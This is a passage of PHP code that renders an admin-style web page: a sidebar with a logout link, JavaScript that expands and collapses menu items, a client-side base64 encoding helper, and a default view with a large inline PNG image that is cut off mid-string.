<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD9UlEQVRYR8WXXWhcVRDH/3MJSUFIoBAEqYJp8EHbhz1zlhgrmIANCC0Uv0BFFIUG9EFrHxR9aH2o+GKgDyqNqKCCYOsHqC+WYvGDNeTOuUts82IqFq1SUXEJEptk78hZ793ubnZzd5stGbhskp2P35kzd2ZC2GShTY6PDQEw89sAxsrl8nixWPzpSg6zUQD1QVX1Refc4asCwMwDAJ5LnuMicn8aiJnXADDzlwCGALwsIq9nQa2bAWZ+MAm8M3F0VkR2ZAD8CWBrovN5AvJNK5CWANbaA6o6VWN4Io7jQ1EUzWcAeNjPANyQ6sVxfEcURV81g2gKYK29V1WPJwbnVfWIc+6NRgfNrqAG7ll/+uT3c0EQTMzOzv7Y6GMNQD6fz8dx7FM3COBXVb3LOTfXjH49AK/PzPcB+CCxPVkqlfYuLCxcqvW1BsAYc4KI7gGwBGCfiHzR6v6yABohmr0tdQC5XM4GQTCbBHxSRF5br4rbAUggngDwqs8oACsiv6V+6wCMMVNEdMAr9vb27iwUCn91A2B0dHTr8vLy9wCua8xCFWB4eLhvYGDgPIBrAUyJyMGsd7jdDCRZeAXAM/5wpVJpKK2FKgAzbwew4JWJ6PYwDL/tJoC1dpeqVvpBuVy+qVgs/lCJlQax1o6pqu9iXgZF5I9uAuRyucEgCH73PuM4vjOKolONAA+r6jsALojItqzgSVo7mgXMfCGpg8ecc36QXc6AMeYwER0CcFpExq8SgM+wz3R1eFWvwBizn4iOATgnIsNtAvhTTJTL5V3tjGNm9jW2XVUnnXPTjRnYQ0SfArgkIlvaAehUh5n/BdCnqnudc35eXL6CkZGRbaurqz83FkmnQVrpG2PuJqIPk7fgxjRjdY2ImUPfwlX1Lefc490KnhTsewAeAnBGRNLxXr+S1XRCv+VY55x0A8IYw0TkD+flqIg8nfqty4C1doeqfgfgGiKaDsNwshsA1tpjqrofwD9EdGsYhmeaAvg/WmuPqOrz/ueN7HppAGbeB+DjSsERvRSG4Qu1h1ozjsfGxrYsLi76dN2SGI2HYXj6SjJhjHmUiCoNB8DJpaWlPfPz88vrAvgvc7nczUEQnK1RPCgitetZJk9NY6vo9vT0XD8zM/NLo2HLnTCfzw/Fcfy1b52JkajqdF9f37uFQsEvK2vET9T+/v5HiMjfNycKf8dxvDuKorQI6+yytuIBVX0z2ZBSQ78jfKSqvq9XhYj8CudXMP+ZyicrKyuTc3NzlSHUTNr6x8Ra+4CqPgVgJDP3/yvMENHRMAzfz9JvCyB1wswTAHar6m1E5BcX/3i5qKoXfaEBOOWc81fXlnQE0JbHDpU2HeA/6fgHPx8CONAAAAAASUVORK5CYII="
alt="">
<span>退出登录</span>
</a></li>
</ul>
</nav>
</div>
<div class="right">
<div>
$content
</div>
</div>
</div>
<script>
var item = document.getElementsByClassName('havanexta');
console.log(item)
for(var i = 0;i<item.length;i++){
(function(j){
item[j].onclick = function () {
var nextul = item[j].nextElementSibling;
console.log(nextul.style.height)
if(nextul.style.height =='0px'||nextul.style.height==''){
nextul.style.height = (j+2)*60 + 'px'
}else{
nextul.style.height = '0px';
}
};
})(i)
}
</script>
</body>
</html>
EOF;
self::htmlOut($main_html);
}
public function htmlBase64Js () {
self::htmlOut("<script>function base64encode(str){var base64EncodeChars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";var out, i, len;var c1, c2, c3;len = str.length;i = 0;out = \"\";while (i < len) {c1 = str.charCodeAt(i++) & 0xff;if (i == len) {out += base64EncodeChars.charAt(c1 >> 2);out += base64EncodeChars.charAt((c1 & 0x3) << 4);out += \"==\";break;}c2 = str.charCodeAt(i++);if (i == len) {out += base64EncodeChars.charAt(c1 >> 2);out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4));out += base64EncodeChars.charAt((c2 & 0xF) << 2);out += \"=\";break;}c3 = str.charCodeAt(i++);out += base64EncodeChars.charAt(c1 >> 2);out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4));out += base64EncodeChars.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >> 6));out += base64EncodeChars.charAt(c3 & 0x3F);}return out;}</script>");
}
public function htmlDefault () {
self::htmlMain('<div style="text-align: right"><img src="data:image/png;base64,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